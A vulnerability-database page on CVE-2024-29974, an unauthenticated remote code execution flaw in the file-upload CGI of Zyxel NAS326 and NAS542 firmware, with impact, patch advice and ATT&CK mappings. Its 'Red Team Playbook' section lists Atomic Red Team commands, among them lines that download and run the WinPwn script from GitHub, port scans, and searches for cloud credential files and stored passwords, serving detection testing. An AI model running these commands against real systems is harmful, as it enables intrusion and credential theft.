CVE-2024-29974
Overview
This vulnerability is a remote code execution flaw caused by improper validation of uploaded configuration files in the CGI program "file_upload-cgi" on Zyxel NAS326 and NAS542 firmware. The root cause lies in the insufficient sanitization of file inputs, allowing crafted files to be processed and executed by the device. The affected component is the file upload functionality within the NAS firmware's web interface, specifically prior to versions V5.21(AAZF.17)C0 for NAS326 and V5.21(ABAG.14)C0 for NAS542.
Vulnerability Description
** UNSUPPORTED WHEN ASSIGNED ** The remote code execution vulnerability in the CGI program “file_upload-cgi” in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute arbitrary code by uploading a crafted configuration file to a vulnerable device.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the device, potentially gaining full control over the affected NAS system. No user interaction or authentication is required, as the attack is performed over the network via the vulnerable file upload CGI interface. This can result in data compromise, persistent backdoors, or disruption of NAS services. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the ease of remote exploitation without privileges or user interaction.
Solution
Zyxel has released firmware updates addressing this vulnerability in NAS326 version V5.21(AAZF.17)C0 and NAS542 version V5.21(ABAG.14)C0. Administrators should upgrade affected devices to these or later versions as detailed in Zyxel's security advisory dated 06-04-2024 (https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-vulnerabilities-in-nas-products-06-04-2024). No alternative mitigations are specified; applying the official firmware updates is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the CGI program "file_upload-cgi" within specific Zyxel NAS firmware versions allows for remote code execution, which is a critical security flaw. This vulnerability arises from improper validation of user input during the file upload process. An attacker can exploit this weakness by uploading a specially crafted configuration file that the device does not adequately validate. Once the malicious file is uploaded, it can trigger the execution of arbitrary code on the device, potentially leading to full system compromise. The affected firmware versions are those prior to V5.21(AAZF.17)C0 for the NAS326 and V5.21(ABAG.14)C0 for the NAS542, which underscores the importance of timely updates to mitigate such risks.
Attack vectors for this vulnerability are particularly concerning due to the unauthenticated nature of the exploit. An attacker does not need to possess valid credentials or be on a trusted network to initiate the attack. This opens the door for remote exploitation from anywhere on the internet, making it a high-risk scenario for organizations that utilize these NAS devices. The exploitation process typically involves crafting a malicious configuration file, which could include payloads designed to execute shell commands or install additional malware. Once the file is uploaded, the attacker can gain control over the device, potentially using it as a foothold for further attacks within the network or as a launchpad for attacks against other systems.
The real-world impact of such vulnerabilities can be severe, particularly for businesses that rely on these NAS devices for data storage and management. Successful exploitation could lead to unauthorized access to sensitive data, data loss, or even complete operational disruption. For organizations that handle personal or financial information, the consequences could extend beyond immediate technical issues to include regulatory fines, legal liabilities, and damage to reputation. The high CVSS score of 9.8 indicates that the vulnerability poses a significant threat, emphasizing the urgency for organizations to address it promptly.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regularly updating firmware to the latest versions is crucial, as vendors typically release patches to address known vulnerabilities. Additionally, employing network segmentation can limit the exposure of vulnerable devices to the internet, reducing the attack surface. Organizations should also consider implementing intrusion detection systems (IDS) that can monitor for unusual file upload patterns or unauthorized access attempts. Regular security assessments and penetration testing can further help identify potential weaknesses in the network and ensure that defenses are robust against such exploitation attempts.
In conclusion, the remote code execution vulnerability in the CGI program of Zyxel NAS devices represents a critical threat that requires immediate attention from affected organizations. With the potential for significant business impact and the ease of exploitation, it is essential for organizations to prioritize firmware updates, employ effective detection mechanisms, and adopt a proactive security posture to safeguard their systems against such vulnerabilities. The combination of technical vigilance and strategic planning is key to mitigating the risks associated with this and similar vulnerabilities in the future.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zyxel | Nas326 Firmware | All |
cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Nas542 Firmware | All |
cpe:2.3:o:zyxel:nas542_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-29974 |
| zyxel.com |
GitHub CVE
vendor-advisory
|
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-vulnerabilities-in-nas-products-06-04-2024 |
| outpost24.com |
GitHub CVE
|
https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/ |